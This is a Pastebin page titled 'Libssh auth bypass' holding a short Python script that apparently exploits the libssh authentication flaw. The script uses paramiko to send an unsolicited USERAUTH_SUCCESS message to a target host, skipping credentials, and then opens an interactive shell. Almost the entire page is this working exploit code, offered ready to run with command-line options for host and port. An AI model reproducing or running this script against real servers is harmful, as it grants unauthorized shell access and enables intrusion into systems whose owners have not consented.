Himeshvyas26

Libssh auth bypass

Oct 20th, 2018
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.42 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. import paramiko
  3. import socket
  4. import argparse
  5. from sys import argv, exit
  6.  
  7.  
  8. parser = argparse.ArgumentParser(description="libSSH Authentication Bypass")
  9. parser.add_argument('--host', help='Host')
  10. parser.add_argument('-p', '--port', help='libSSH port', default=22)
  11. parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log")
  12.  
  13. args = parser.parse_args()
  14.  
  15.  
  16. def BypasslibSSHwithoutcredentials(hostname, port):
  17.  
  18. sock = socket.socket()
  19. try:
  20. sock.connect((str(hostname), int(port)))
  21.  
  22. message = paramiko.message.Message()
  23. transport = paramiko.transport.Transport(sock)
  24. transport.start_client()
  25.  
  26. message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
  27. transport._send_message(message)
  28.  
  29. spawncmd = transport.open_session()
  30. spawncmd.invoke_shell()
  31. return 0
  32.  
  33. except paramiko.SSHException as e:
  34. print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable")
  35. return 1
  36. except socket.error:
  37. print("Unable to connect.")
  38. return 1
  39.  
  40.  
  41. def main():
  42. paramiko.util.log_to_file(args.logfile)
  43. try:
  44. hostname = args.host
  45. port = args.port
  46. except:
  47. parser.print_help()
  48. exit(1)
  49. BypasslibSSHwithoutcredentials(hostname, port)
  50.  
  51. if __name__ == '__main__':
  52. exit(main())
Add Comment
Please, Sign In to add comment